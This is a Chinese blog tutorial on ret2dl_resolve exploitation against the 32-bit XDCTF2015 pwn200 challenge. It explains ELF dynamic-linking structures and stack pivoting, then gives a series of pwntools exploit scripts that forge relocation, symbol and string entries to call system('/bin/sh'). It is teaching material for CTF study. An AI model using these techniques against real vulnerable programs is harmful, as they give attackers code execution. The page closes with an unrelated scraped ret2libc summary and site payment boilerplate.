从o开始的pwn学习之超详细ret2dl_resolve

从o开始的pwn学习之超详细ret2dl_resolve

前置知识

需要用到的节

.dynamic:是ld.so使用的动态链接信息,在/etc/ld.so.conf文件中存放着需要动态加载的目录,使用ldconfig就可以将ld.so.conf中的指定目录的库文件加载到内存中,并记录在/etc/ld.so.cache文件中。ld.so.1文件就可以在高速缓存中访问动态库文件,提高访问速度。导入动态链接库,可以在/etc/ld.so.conf文件中配置,或者使用LD_LIBRARY_PATH环境变量进行引用。当然,看不懂的话只要了解其含有指向.dynstr, .dynsym, .rel.plt的指针就好

结构如下

typedef struct
{
  Elf32_Sword   d_tag;                  /* Dynamic entry type */
  union
    {
      Elf32_Word d_val;                 /* Integer value */
      Elf32_Addr d_ptr;                 /* Address value */
    } d_un;
} Elf32_Dyn;

而对每一个有该类型的object,d_tag控制着d_un的解释。

而在ida里我们可以看到的dynamic如下。

而我们着重关注的是以下三个

* DT_STRTAB

处于.dynamic的地址加0x44的位置

该元素保存着字符串表地址,在第一部分有描述,包括了符号名,库名,
和一些其他的在该表中的字符串。指向.dynstr。

* DT_SYMTAB

处于.dynamic的地址加0x4c的位置

该元素保存着符号表的地址,在第一部分有描述,对32-bit类型的文件来
说,关联着一个Elf32_Sym入口。指向.dynsym。

* DT_JMPREL

处于.dynamic的地址加0x84的位置

假如存在,它的入口d_ptr成员保存着重定位入口(该入口单独关联着
PLT)的地址。假如lazy方式打开,那么分离它们的重定位入口让动态连接
器在进程初始化时忽略它们。假如该入口存在,相关联的类型入口DT_PLTRELSZ
和DT_PLTREL一定要存在。指向.rel.plt。

ld.so加载器:相应的配置文件是/etc/ld.so.conf,指定so库的搜索路径,是文本文件,也可以通过定义$LD_LIBRARY_PATH的环境变量来指定程序运行时的.so文件的搜索路径。
动态装载器(dynamic loader)

.dynstr:动态链接的字符串表,保存动态链接所需的字符串。比如符号表中的每个符号都有一个 st_name(符号名),他是指向字符串表的索引,这个字符串表可能就保存在 .dynstr,而.dynstr结构为正常的字符串数组。

.dynsym:动态链接的符号表,保存需要动态连接的符号表,而.dynsym结构如下

typedef struct
{
  Elf32_Word    st_name; //符号名,是相对.dynstr起始的偏移,这种引用字符串的方式在前面说过了
  Elf32_Addr    st_value;
  Elf32_Word    st_size;
  unsigned char st_info;
  unsigned char st_other;
  Elf32_Section st_shndx;
}Elf32_Sym; 

.rel.plt:节的每个表项对应了所有外部过程调用符号的重定位信息。而.rel.plt结构如下

typedef struct{
  Elf32_Addr r_offset;//指向GOT表的指针,即该函数在got表的偏移
  Elf32_Word r_info;
}Elf32_Rel

_dll_runtime_resolve函数

_dll_runtime_resolve是重定位函数,该函数会在进程运行时动态修改函数地址来达到重定位的效果。此函数无无延迟绑定机制, 需要两个参数,一个是 **reloc_arg ** ,就是函数自己的 plt 表项 push 的内容,一个是 link_map,这个是公共 plt 表项 push 进栈的,通过它可以找到.dynamic的地址

延迟绑定机制

在程序运行时,有很多函数在程序执行时不会被用到,比如错误处理或者 用户比较少用的功能模块等,所以不需要所有函数在一开始就链接好。
延迟绑定(Lazy Binding) 的基本思想是 函数第一次被调用时才进行绑定(符号查找、重定位等),如果没有则不进行绑定。要实现 延迟绑定 需要使用到名为 PLT(Procedure Linkage Table) 的方法。
而通常延迟绑定机制又是通过调用 _dl_runtime_resolve函数来实现的,这也正是此函数没有延迟绑定的原因。

_dl_fixup()函数

_dl_fixup()函数在elf/dl_runtime.c中实现,用于解析导入函数的真实地址,并改写got表

RELRO

Full RELRO

禁用延迟绑定,即所有的导入符号在加载是便被解析,.got.plt段被完全初始化为目标函数的地址,并标记为只读,很显然,这种情况,我们几乎用不了ret2dl_resolve的思路。

NO RELRO

这种情况就比较有意思了,由于关闭RELRO保护,使dynamic可写,由于动态加载器是从.dynamic段的DT_STRTSB条目中来获取.dynstr段的地址,此条目的位置是已知的,且可写,于是我们可以改写此条目的内容,欺骗动态装载器,使其以为。dynstr段在.bss上,同时在此处伪造一个假的字符串表,当其在解析函数时,就会是用不同的基地址找函数名,最终执行我们希望其执行的函数。

Partial RELRO

因为开启Partial RELRO,使.dynamic段标记为只读,不可写,但我们知道relloc_arg对应ELF_REL在rel.plt段上的偏移,动态加载器将其加上rel.plt的基地址来得到目标ELF_REL的地址。然而,当这个内存地址超过了.rel.plt段,并达到.bss时,我们就可以在这里伪造一个ELF_REL,使r_offset是一个可写的内存地址,来将解析后的函数地址写到那里。同样,使r_info的是一个能将动态装载器导向攻击者控制内存的下标,指向一个位于它后面的ELF_SYM,而ELF_SYM中的st_name指向我么希望执行的函数即可。

_dll_runtime_resolve干了什么

一定要看熟它!!!!看不懂多看几遍

1.dl_runtime_resolve 有两个参数,一个是 reloc_arg,存放着 Elf32_Rel 的指针对.rel.plt段的偏移量,一个是link_map,里面存放着一段地址,通过这段地址可以找到.dynamic段的地址

2通过 .dynamic 可以找到 .dynstr(+0x44)、.dynsym(+0x4c)、.rel.plt(+0x84) 的地址

3.rel.plt 的地址加上 reloc_arg 可以得到函数重定位表项 Elf32_Rel 的指针,里面存放着两个变量 r_offset和r_info

4将 r_info>>8 可以得到 .dynsym 的下标

5.dynstr+这个下标(name_offset )得到的就是 st_name,而 st_name 存放的就是要调用函数的函数名

6在动态链接库查找该函数后,把地址赋值给.rel.plt中对应条目的r_offset:指向对应got表的指针,赋值给GOT表后,一次函数的动态链接就完成了。

实践调用库函数

实例

我们用gdb调试理解一下

参考文章

#include<stdio.h>
#include <unistd.h>

int main()

{
  char buf[200];
  setbuf(stdin, buf);
  read(0, buf, 128);
  puts(buf);

  return 0;

}

用gcc -o dynamic -m32 -fno-stack-protector -g hello_pwn.c 编译

插一个有意思的小点,关于低地址gdb无法断点调试这件事

一些简单的代码在某些环境下很可能被编译为Position-Independent Executable (PIE)以允许Address Space Layout Randomization (ASLR).在某些系统上,gcc被配置为默认创建PIE(这意味着选项-pie -fPIE被传递给gcc).

启动GDB来调试PIE时,它开始从0读取地址,因为您的可执行文件尚未启动,因此没有重新定位(在PIE中,包括.text部分在内的所有地址都是可重定位的,它们从0开始,类似于动态共享对象).而运行之后则会重新定位为所谓的“实际地址”。

回到正题,运行后。

gdb调试,下个断点

来到call,si跟进

此刻我们跳转到了函数自己的plt表项

可以看到先是jmp到ebx+0x10,看一眼这里是什么。

发现就是跳到下一行,然后push了一个0x8(_dll_runtime_resolve函数的relloc_arg参数(Elf_Rel在rel.plt中的偏移)),然后jmp到0x56556020,而这里便是公共的plt表项

让我们跟进来到公共的plt表项

由此我们的以得到link_map的地址,而通过link_map的地址,我们可以由此找到.dynamic的地址,从而找到在。dynamic里的各种节的地址。而通过网上的资料,我们了解到第三个地址便是dynamic的地址。

通过前置知识,我们可知道.dynstr, .dynsym, .rel.plt的位置依序如下

.rel.plt的地址加上参数relloc_arg得到的地址即是重定位表项Elf32_Rel的指针,记作rel

而如下,我们可得到r_offset = 0x4010 (重定位前) ,r_info = 0x00000407

然后我们将r_info>>8,即0x00000207>>8 = 2作为.dynsym中的下标, 此时我们来到.dynsym的位置,去找找read函数的名字符串偏移;

于是我们得到偏移量记为name_offset为0x1b,我们再用dynstr+偏移量就是这个函数的函数名的地址(st_name)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

在动态链接库查找该函数后,把地址赋值给.rel.plt中对应条目的r_offset:指向对应got表的指针,赋值给GOT表后,把控制权返还给read。

于是调试结束

call指令的诞生与消亡

众所周知,执行call指令时会对栈进行初始化,开辟一块空间给被调用的函数使用,而通常会用如下指令实现

push ebp #把ebp放进栈,即saved ebp
mov  ebp,esp

而call命令结束的时候则将这块空间还回去,以如下指令实现

leave
ret

其中leave命令又相当于mov esp,ebp ; pop ebp;

那么有意思的事情就来了,如果我们在执行leave命令之前,让ebp指向一个我们所希望的地址,那么理论上,pop ebp;之后,esp将-1个单位(4或8位),然后继续执行我么所希望地址上的函数,那么这就会很令人开心了。

而这个方法就是所谓的栈迁移。

栈迁移

由于存在栈溢出漏洞,我们可以把栈覆盖成如下

由于调用read函数会在fake_ebp1写下0x100个字节,我们称此地址为fake_ebp2

read调用结束后esp来到返回地址执行leave_ret

首先执行mov esp,ebp命令;执行结束后,esp和ebp寄存器里面的值相同,且都指向bss段的地址fake ebp1

然后执行pop ebp;命令,由于fake ebp1指向fake_ebp2,所以pop后ebp指向fake_ebp2。

执行pop后,esp会减一个单位,如果这里刚好有我们一不小心部署好的函数地址,那就比较令人开心了。因为随后执行的ret命令,将会刚好执行此函数。

而这就是栈迁移的原理。

ret2dl_resolve

level1

以write函数举例输出“/bin/sh”字符串,而既然write能输出“/bin/sh”,那么理论上system也行。

于是要完成如上操作,主要有两个步骤

1、栈迁移到 bss 段

rop.raw('a' * offset) 
### 向新栈中写0x100个字节
rop.call('read',[0,base_stage,0x100])#基本等同于rop.read(0, base_stage, 0x100)
##rop.migrate会利用leave_ret自动部署迁移工作
rop.migrate(base_stage)
r.sendline(rop.chain())

2、控制 write 函数输出相应的字符串

sh = "/bin/sh"
rop.write(1, base_stage + 20, len(sh))
rop.raw(sh)
rop.raw('a' * (0x100 - len(rop.chain())))

可能大家对第二行有点蒙,但是如果说rop.write(1, base_stage + 20, len(sh))的长度便是二十是不是就可以理解了

EXP1
from pwn import *
elf = ELF('./pwn200.out')
sh = process('./pwn200.out')
rop = ROP('./pwn200.out')

offset = 112
bss_addr = elf.bss() #获取bss段首地址

sh.recvuntil('Welcome to XDCTF2015~!\n')

## 将栈迁移到bss段
stack_size = 0x800
## 新栈空间大小为0x800
base_stage = bss_addr + stack_size 

rop.raw('a' * offset) 
### 向新栈中写0x100个字节
rop.call('read',[0,base_stage,0x100])#rop.read(0, base_stage, 0x100)
##rop.migrate会利用leave_ret自动部署迁移工作
rop.migrate(base_stage)
sh.sendline(rop.chain())

## 利用write打印字符串"/bin/sh"
rop = ROP('./pwn200.out')
Bin = "/bin/sh"
rop.call('write',[1, base_stage + 20, len(Bin)])#rop.write(1, base_stage + 20, len(Bin))

print(len(rop.chain()))#打印出20,说明长度为20,那么直接在base_stage + 20写上"/bin/sh"作为write的第一个参数

rop.raw(Bin)
rop.raw('a' * (0x100 - len(rop.chain())))

sh.sendline(rop.chain())
sh.interactive()
e1

发现成功打印

level2

目标

而显然要达到我们的最终目的使用如上方法显然是行不通的,于是我们循序渐进,尝试利用plt[0]中的push linkmap以及跳转到dl_resolve函数中的解析指令来代替直接调用write函数的手法,对.rel.plt进行迁移。

而我们具体要做什么我们其实只需跳到plt0地址,然后输入我们虚假的relloc_arg其实便可以调用write()函数了。

即模拟如下两步

call   0x56556030 <setbuf@plt>
jmp    DWORD PTR [ebx+0xc]#下一行
**push   relloc_arg**
**jmp    plt0**
push   link_map
jmp    dl_runtime_resovle

因此我们所需要的东西

1.plt0的地址

2.虚假的relloc_arg

那么plt0的地址我们可以通过**elf.get_section_by_name(’.plt’).header.sh_addr **找到,但relloc_arg需要我们计算出来

计算 relloc_arg

首先我们要知道.plt的作用是一个跳板,保存了某个符号在重定位表中的偏移量(用来第一次查找某个符号)和对应的.got.plt的对应的地址,于是我们明白.plt与.plt.rel一一对应。而.plt从结构体下标从1开始,.rel.plt的结构体下标是从0开始的。对应如下

根据上图我们可以很清楚的了解到(write_plt-plt0)/16得到write在.plt的下标再减1可得到在.rel.plt的下标,而relloc_arg则在如上基础乘8.

即relloc_arg=((elf.plt[‘write’] - plt0) / 16 - 1)*8

于是到这里我们便可以轻松的调用write了。

EXP2
from pwn import *
elf = ELF('pwn200.out')
sh = process('./pwn200.out')
rop = ROP('./pwn200.out')

offset = 112
bss_addr = elf.bss() #获取bss段首地址

sh.recvuntil('Welcome to XDCTF2015~!\n')

## 将栈迁移到bss段
## 新栈空间大小为0x800
stack_size = 0x800
base_stage = bss_addr + stack_size 
### 填充缓冲区
rop.raw('a' * offset) 
### 向新栈中写100个字节
##rop.read会自动完成read函数、函数参数、返回地址的栈部署
rop.read(0, base_stage, 100)
### 栈迁移, 设置esp = base_stage
##rop.migrate会利用leave_ret自动部署迁移工作
rop.migrate(base_stage)
sh.sendline(rop.chain())

rop = ROP('./pwn200.out')
BIN = "/bin/sh"

##获取plt0地址
plt0 = elf.get_section_by_name('.plt').header.sh_addr
##计算write函数重定位索引
relloc_arg=((elf.plt['write'] - plt0) / 16 - 1)*8
print("plt0:")
print(plt0)
print("write_index:")
print(relloc_arg)
rop.raw(plt0)
relloc_arg1=int (relloc_arg)#这一步我也挺懵的,应该是rop.raw不能是float?
rop.raw(relloc_arg1)
## fake ret addr of write
rop.raw('bbbb')  ##write函数返回地址
rop.raw(1)  ##write函数1参
rop.raw(base_stage + 24) ##write函数2参
rop.raw(len(BIN))  ##write函数3参
print("len:rop.chain():")
print(len(rop.chain()))#长度为24,所以可以在base_stage + 24写上/bin/sh
rop.raw(BIN)
rop.raw('a' * (100 - len(rop.chain())))

sh.sendline(rop.chain())
sh.interactive()

level3

而接下来我们将要尝试伪造一个ELF_REL结构体,使程序直接指向。而ELF_REL也不过就是.rel.plt的一个结构体,而该节的结构,我们在前置知识已经了解如下

typedef struct{
  Elf32_Addr r_offset;//指向GOT表的指针,即对got表的偏移量
  Elf32_Word r_info;
}Elf32_Rel

我们可以通过

readelf -r pwn200.out

得到该程序得到重定位信息

这里记录一个小点,有的师傅是用write_got = elf.got[‘write’]得到r_offset的。

思路

正常来说,我们是用.rel.plt+relloc_arg定位到ELF_REL的,所以有一个很简单想法,在_dl_runtime_resolve函数没有做边界检查的大前提下,我们可以将relloc_arg无限放大到.bss段上的伪ELF_REL。

我们设伪造偏移量伪fake_relloc,把伪造ELF_REL与base_stage的距离命名为offset,拥有小学数学水平的人也能够很清楚的明白如下等式,base_stage+offset=.rel.plt+fake_relloc,即fake_relloc=.rel.plt+offset-base_stage.

那么现在我们唯一所需要的量就是offset了,有点难搞?列个表就清晰了。base_stage的内容如下。

因为是32位程序,所以每行为4字节,那么到这里,我相信我们能凭借优秀的数数技术,数出offset为24.fake_relloc=.rel.plt+24-base_stage.

于是到这里,准备工作终于完成。

EXP3
from pwn import *
elf = ELF('pwn200.out')
sh = process('./pwn200.out')
rop = ROP('./pwn200.out')

offset = 112
bss_addr = elf.bss() #获取bss段首地址

sh.recvuntil('Welcome to XDCTF2015~!\n')

## 将栈迁移到bss段
## 新栈空间大小为0x800
stack_size = 0x800
base_stage = bss_addr + stack_size 
### 填充缓冲区
rop.raw('a' * offset) 
### 向新栈中写100个字节
##rop.read会自动完成read函数、函数参数、返回地址的栈部署
rop.read(0, base_stage, 100)
### 栈迁移, 设置esp = base_stage
##rop.migrate会利用leave_ret自动部署迁移工作
rop.migrate(base_stage)
sh.sendline(rop.chain())

# 打印字符串"/bin/sh"
rop = ROP('./pwn200.out')
BIN = "/bin/sh"

## 获取plt0地址
plt0 = elf.get_section_by_name('.plt').header.sh_addr
## 获取.rel.plt地址
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
fake_relloc = base_stage + 24 - rel_plt
r_offset = 0x0804c01c 
r_info = 0x607

rop.raw(plt0)
rop.raw(fake_relloc)
rop.raw('bbbb') #write函数返回地址
rop.raw(1) 
rop.raw(base_stage + 32)
rop.raw(len(BIN))
rop.raw(r_offset) 
rop.raw(r_info)
print("len:rop.chain():")
print(len(rop.chain()))#长度为32,所以可以在base_stage + 32写上/bin/sh
rop.raw(BIN)
rop.raw('a' * (100 - len(rop.chain())))
sh.sendline(rop.chain())
sh.interactive()

level4

上一步我们在.bss段上伪造一个Elf_Rel,但聪明的孩子就会发现了,如果我们之后想调用system函数,那么r_info和r_offset肯定不能通过readelf读出,r_offset比较好解决,直接用elf.got就可以得到,但r_info就没这么容易了,那么我么下一步便要在.bss段上伪造一个dynsym,然后通过构造的dynsym反推出新的r_info.

构造.dynsym

根据前置知识,我们知道dynsym结构如下

typedef struct
{
  Elf32_Word    st_name; //符号名,是相对.dynstr起始的偏移,这种引用字符串的方式在前面说过了
  Elf32_Addr    st_value;
  Elf32_Word    st_size;
  unsigned char st_info;
  unsigned char st_other;
  Elf32_Section st_shndx;
}Elf32_Sym; 

于是很明显我们要是想构造一个dynsym,我们要知道st_name,st_value,st_size,st_info的数值。

通过readelf -a main读出dynsym的下标

读出下标为6,那么我们通过readelf -x .dynsym 读出数值。

很明显第七行即为write函数,st_name=0x42,st_value=0,st_size=0,st_info=0x12

利用构造的dynsym反推出r_info

总所周知r_info>>8=.dynsym中的下标,因此我们需要得到其下标

dynsym_index =(base_stage+24+8-dynsym)/16

但因为dynsym大小为16字节,所以程序要找一个函数的dynsym节则要16个字节16个字节的找。所以正常来说我们的base_stage+24+8正确位置的可能性只有四分之一。说起来可能有点抽象来张图解释一下吧。

如上图,只有当我们的base_stage+32在第一列的时候才能称之为正确的地址。

欸嘿,当然凭借运气的话,我们还是有可能攻击成功的,但显然,我们需要一种方法把这低的可怜的可能性提高一下,其实还是有挺多方法的,这里我们使用地址对齐即在伪造dynsym前加上一段垃圾数据,是我们构造的dynsym在一个正确的位置。那么垃圾数据的长度如何计算?

align = 0x10-((base_stage+24+8-dynsym)%16)

align = 0x10-((base_stage+24+8-dynsym)&0xf)

所以我们构造的dynsym的地址就是

fake_sym_addr = (0x10-((base_stage+24+8-dynsym)%16))+base_stage+24+8

或者

fake_sym_addr = (0x10-((base_stage+24+8-dynsym)& 0xf))+base_stage+24+8

于是该函数对于dynsym的下标为

dynsym_index =(fake_sym_addr-dynsym)/16

于是我们终于可以通过.dynsym结构体下标反推r_info了

r_info代表什么

r_info是0x?07的形式,其实稍微解释一下,就是把偏移为?的导入函数,07代表的是导入函数的意思.

推出r_info

所以我们要做的就是将dynsym_index左移八位,再加上07标识符就可以了

r_info = (dynsym_index<<8)+0x7

r_info = (dynsym_index<<8)|0x7 #因为bin(dynsym_index<<8)的后四位均为0所以与上0x7实际上就相当于加0x7

于是到这里我们终于准备好了,如果还有些模糊,再列个表表示栈布局如下

于是我们可以写脚本了

EXP
from pwn import *
context.log_level = 'debug'

elf = ELF('pwn200.out')
sh = process('./pwn200.out')
rop = ROP('./pwn200.out')

offset = 112
bss_addr = elf.bss() #获取bss段首地址

sh.recvuntil('Welcome to XDCTF2015~!\n')

## 将栈迁移到bss段
## 新栈空间大小为0x800
stack_size = 0x800
base_stage = bss_addr + stack_size 
### 填充缓冲区
rop.raw('a' * offset) 
### 向新栈中写100个字节
##rop.read会自动完成read函数、函数参数、返回地址的栈部署
rop.read(0, base_stage, 100)
### 栈迁移, 设置esp = base_stage
##rop.migrate会利用leave_ret自动部署迁移工作
rop.migrate(base_stage)
sh.sendline(rop.chain())

# 打印字符串"/bin/sh"
rop = ROP('./pwn200.out')
BIN = "/bin/sh"

## 获取plt0地址
plt0 = elf.get_section_by_name('.plt').header.sh_addr
## 获取.rel.plt地址
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
## 获得.dynsym地址
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
align = 0x10-(base_stage+32-dynsym)%16
print(align)
fake_sym_addr = align + base_stage + 32
## 伪造的dynsym
st_name=0x42
st_value=0
st_size=0
st_info=0x12
fake_relloc = base_stage + 24 - rel_plt
r_offset = elf.got['write']
index_write = (fake_sym_addr - dynsym)/16 ##注意这里要用地板除,float不能左移
print(index_write)
r_info = (int(index_write)<<8)+0x7##利用构造的dyndym地址反推r_info
print(r_info)
rop.raw(plt0)
rop.raw(fake_relloc)
rop.raw('bbbb') #write函数返回地址
rop.raw(1) 
rop.raw(base_stage + 52)
rop.raw(len(BIN))
rop.raw(r_offset) ##构造的ELF_REL
rop.raw(r_info)
rop.raw('a'*align)
rop.raw(st_name) ##构造的.dydnsym
rop.raw(st_value)
rop.raw(st_size)
rop.raw(st_info)
print("len:rop.chain():")
print(len(rop.chain()))#长度为52,所以可以在base_stage + 52写上/bin/sh
rop.raw(BIN)
rop.raw('a' * (100 - len(rop.chain())))
sh.sendline(rop.chain())
sh.interactive()

level5

有了如上的经验,接下来就会很轻松了,加油,胜利就在眼前,我们可以继续伪造.dynstr,而从前置知识,我们知道.dynstr就是普通的字符串数组,只需要伪造一个需调用函数的函数名的字符串即可。如我们想要调用write函数即需要构造write函数的字符串“write\x00”(.dynstr中每一段字符串都以\x00结尾)

而同时我们可以通过构造的字符串地址对于.dynstr的偏移来算出新的st_name.

我们可以得到如下公式并算出st_name

st_name = base_stage + 24 +8 +align +16 - .dynstr

st_name = fake_sym_addr - .dynstr

虽然这里并不是很抽象,但还是写一下栈的布局吧

好了,那么我们愉快的写exp吧

EXP
from pwn import *
context.log_level = 'debug'

elf = ELF('pwn200.out')
sh = process('./pwn200.out')
rop = ROP('./pwn200.out')

offset = 112
bss_addr = elf.bss() #获取bss段首地址

sh.recvuntil('Welcome to XDCTF2015~!\n')

## 将栈迁移到bss段
## 新栈空间大小为0x800
stack_size = 0x800
base_stage = bss_addr + stack_size 
### 填充缓冲区
rop.raw('a' * offset) 
### 向新栈中写100个字节
##rop.read会自动完成read函数、函数参数、返回地址的栈部署
rop.read(0, base_stage, 100)
### 栈迁移, 设置esp = base_stage
##rop.migrate会利用leave_ret自动部署迁移工作
rop.migrate(base_stage)
sh.sendline(rop.chain())

# 打印字符串"/bin/sh"
rop = ROP('./pwn200.out')
BIN = "/bin/sh"

## 获取plt0地址
plt0 = elf.get_section_by_name('.plt').header.sh_addr
## 获取.rel.plt地址
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
## 获得.dynsym地址
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
## 获得.dynstr地址
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
align = 0x10-(base_stage+32-dynsym)%16
print(align)
fake_sym_addr = align + base_stage + 32
st_name = fake_sym_addr +16 - dynstr
st_value=0
st_size=0
st_info=0x12
fake_relloc = base_stage + 24 - rel_plt
r_offset = elf.got['write']
index_write = (fake_sym_addr - dynsym)/16 ##注意这里要用地板除,float不能左移
print(index_write)
r_info = (int(index_write)<<8)+0x7##利用构造的dyndym地址反推r_info
print(r_info)
print(st_name)

rop.raw(plt0)
rop.raw(fake_relloc)
rop.raw('bbbb') #write函数返回地址
rop.raw(1) 
rop.raw(base_stage + 58)
rop.raw(len(BIN))
rop.raw(r_offset) ##构造的ELF_REL
rop.raw(r_info)
rop.raw('a'*align)
rop.raw(st_name) ##构造的.dynsym
rop.raw(st_value)
rop.raw(st_size)
rop.raw(st_info)
rop.raw('write\x00')##伪造的.dynstr
print("len:rop.chain():")
print(len(rop.chain()))#长度为58,所以可以在base_stage + 58写上/bin/sh
rop.raw(BIN)
rop.raw('a' * (100 - len(rop.chain())))
sh.sendline(rop.chain())
sh.interactive()

level 6

终于到了最后了,到现在,整个攻击手法如下已经完成了

1.栈迁移到.bss段

2.伪造ELF_REL

3.伪造.dynsym

4.伪造.synstr

我们逐级递进,而到这一步,我们要做的就是把write函数换为system函数,而聪明的同学已经发现了,因为之前的逐级递进,我们现在并不用改什么了,只需要把我们伪造的.dynstr的字符串换为’system\x00’就大功告成了。

栈布局如下

于是我们可以写exp了

Last EXP

from pwn import *
context.log_level = 'debug'

elf = ELF('pwn200.out')
sh = process('./pwn200.out')
rop = ROP('./pwn200.out')

offset = 112
bss_addr = elf.bss() #获取bss段首地址

sh.recvuntil('Welcome to XDCTF2015~!\n')

## 将栈迁移到bss段
## 新栈空间大小为0x800
stack_size = 0x800
base_stage = bss_addr + stack_size 
### 填充缓冲区
rop.raw('a' * offset) 
### 向新栈中写100个字节
##rop.read会自动完成read函数、函数参数、返回地址的栈部署
rop.read(0, base_stage, 100)
### 栈迁移, 设置esp = base_stage
##rop.migrate会利用leave_ret自动部署迁移工作
rop.migrate(base_stage)
sh.sendline(rop.chain())

# 打印字符串"/bin/sh"
rop = ROP('./pwn200.out')
BIN = "/bin/sh\0"##众所周知一般的函数遇到 \0 才会结束读取,所以为了防止system('/bin/shaaaaaaaa....aaaaa')的情况,我们要加上\0
## 获取plt0地址
plt0 = elf.get_section_by_name('.plt').header.sh_addr
## 获取.rel.plt地址
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
## 获得.dynsym地址
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
## 获得.dynstr地址
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
align = 0x10-(base_stage+32-dynsym)%16
print(align)
fake_sym_addr = align + base_stage + 32
st_name = fake_sym_addr +16 - dynstr
st_value=0
st_size=0
st_info=0x12
fake_relloc = base_stage + 24 - rel_plt
r_offset = elf.got['write']
index_write = (fake_sym_addr - dynsym)/16 ##注意这里要用地板除,float不能左移
print(index_write)
r_info = (int(index_write)<<8)+0x7##利用构造的dyndym地址反推r_info
print(r_info)
print(st_name)

rop.raw(plt0)
rop.raw(fake_relloc)
rop.raw('bbbb') #write函数返回地址
rop.raw(base_stage + 59) 
rop.raw('aaaa')##事实上因为system只需要一个参数,另外两个都不用写,但为了不破坏原有的布局就填上垃圾数据即可
rop.raw('aaaa')
rop.raw(r_offset) ##构造的ELF_REL
rop.raw(r_info)
rop.raw('a'*align)
rop.raw(st_name) ##构造的.dynsym
rop.raw(st_value)
rop.raw(st_size)
rop.raw(st_info)
rop.raw('system\x00')##伪造的.dynstr
print("len:rop.chain():")
print(len(rop.chain()))#长度为58,所以可以在base_stage + 59写上/bin/sh
rop.raw(BIN)
rop.raw('a' * (100 - len(rop.chain())))
sh.sendline(rop.chain())
sh.interactive()

参考文章

《程序员的自我修养》笔记4——动态链接

elf文件类型六 Dynamic Section(动态section)

ld、ld.so命令和ld.so.conf配置文件

好好说话之ret2_dl_runtime_resolve

ok,完美收官,于是ret2dl_resolve的学习到这里终于结束了,真是一段漫长的时间,有问题欢迎各位师傅指出,另外,大家五一快乐!

  • 25
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
pwn ret2libc是一种攻击技术,其原理是通过利用程序中的栈溢出漏洞,来控制程序的执行流程,以达到执行libc中的函数的目的。 在ret2libc攻击中,程序会调用libc库中的函数,例如system函数,来执行特定的操作。但是在程序中没有自带的/bin/sh字符串,所以需要通过其他方式获取执行shell命令的能力。 具体而言,攻击者会利用程序中的栈溢出漏洞,将栈上的返回地址修改为在libc库中的某个函数的地址,例如puts函数。然后通过执行puts函数,将栈上保存的函数地址打印出来。由于libc库中的函数地址相对位置是不变的,攻击者可以根据已知的函数地址和libc的版本来计算system函数的真实地址。然后再利用system函数执行特定的操作,比如执行shell命令。 总结来说,pwn ret2libc攻击的原理是通过栈溢出漏洞修改返回地址为libc库中的一个函数地址,然后根据已知的函数地址和libc的版本计算出system函数的真实地址,最终实现执行shell命令的目的。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [pwn学习——ret2libc2](https://blog.csdn.net/MrTreebook/article/details/121595367)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [pwn小白入门06--ret2libc](https://blog.csdn.net/weixin_45943522/article/details/120469196)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值